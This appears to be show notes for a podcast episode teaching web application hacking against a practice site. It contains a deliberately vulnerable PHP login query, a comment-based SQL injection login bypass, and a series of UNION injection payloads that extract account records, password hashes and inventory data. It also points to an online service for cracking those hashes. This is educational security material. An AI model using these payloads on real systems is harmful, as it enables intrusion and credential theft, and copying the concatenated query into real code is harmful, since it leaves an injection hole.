The start of the “Hands on Series”, which means that there are actual
hands on excersises to go along with these shows.
I feel that its time to go beyond the concepts, the chatter about what bad guys can do,
and actually show you directly. Let you see for yourself the saying goes.
I recommend that you listen to these episodes while viewing the hacking test site and
have the show notes visible and ready to cut and paste from.
- http://hackme.ntobjectives.com/– The new site setup for you to practice web app hacking.Includes detailed notes and samples that can be used to practice with.
- Web App Hacking Toolkit – Collection of tools and links helpful for web security.
- Jonathan Coulton’s Things a Week – Where the Code Monkey song came from.
Sample PHP code for authenticating a user during login
$sql = "SELECT * FROM accounts WHERE username='".$_GET['username']."' and password = '".md5($_GET['password'])."'";
If I enter admin for both the username and password the resulting sql statement would be as follows
SELECT * FROM accounts WHERE username='admin' and password = '21232f297a57a5a743894a0e4a801fc3'
If there is a record in accounts with both username and password as admin, then I will get logged in, otherwise the login will fail.
Thats all well and good, but there is a very critical problem.
The problem here resides in the fact that there is no validation on what the user inputs, but the input is used to create a SQL statement.
Lets take a look at the following SQL statement
SELECT * FROM accounts WHERE username='admin' /* and password = '21232f297a57a5a743894a0e4a801fc3 '
What would this statement result in?
First thing to notice is the
This is a comment delimiter in MySQL, which means anything following it is considered a comment and is ignored.
Another way to think about it is that the SQL Statement ends at this point.
So if there statement ends at the
/* then the effective SQL statement is
SELECT * FROM accounts WHERE username='admin'
So when will this generate a valid result?
It will be valid if the username exists in the database, and if it does, then it will return that record.
This means it will log me in as the admin without need for discovering/guessing the password!!
Sounds good, how would I make the SQL statement look like that. Well try entering in this as your username
If you look again at the orignal SQL statement and insert this as the username you will see how it alters the SQL statement in a way that the statement is still valid in syntax but the symantic meaning has been altered to suit your needs. Here is what it will look like
SELECT * FROM accounts WHERE username='admin' /* ' and password = '21232f297a57a5a743894a0e4a801fc3'
Now isnt this cool?
Alright, now look at the source code. Theres a link to the source on the main page.
Notice that its displaying the username from the database query result.
This means we can see data from the database. So lets try using a UNION query to get arbitrary data from the database.
When using UNION queries there is a requirement that both sets of data share the exact same number of columns.
Since you dont know how many columns are being returned, we have to discover this information using this technique
How to solve over/under column problems
Start with one field using NULL as its value
admin' UNION SELECT NULL FROM accounts LIMIT 1,1 /*
This will result in an error “The used SELECT statements have a different number of columns”.
This is telling us that the two data sets do not having matching number of columns.
Add another NULL
admin' UNION SELECT NULL, NULL FROM accounts LIMIT 1,1 /*
and Add another NULL
admin' UNION SELECT NULL, NULL, NULL FROM accounts LIMIT 1,1 /*
No more error.
Now that we know how many columns we have to work with, lets concat in the data
In these we will get the account table records
admin' UNION SELECT NULL, concat(id, ' - ', username, ' - ', password) AS username, NULL FROM accounts LIMIT 1,1 /*
Notice the last field is the MD5 hash. Here is where the toolkit link to the MD5 hash database comes in handy http://www.md5decrypt.com/
Put in that md5 hash and if its a common password, you will get a result
Now lets get another user record by shifting the
LIMIT to start on the next record
admin’ UNION SELECT NULL, concat(id, ‘ – ‘, username, ‘ – ‘, password) AS username, NULL FROM accounts LIMIT 2,1 /*
Now lets get data from an entirely different table
admin' UNION SELECT NULL, concat(prodid, ' - ', name, ' - ', description, ' - ', price) AS username, NULL FROM inventory LIMIT 1,1 /*
admin' UNION SELECT NULL, concat(prodid, ' - ', name, ' - ', description, ' - ', price) AS username, NULL FROM inventory LIMIT 2,1 /*
As you can see, once you have a SQL injection point you can gain access to a great deal of database information.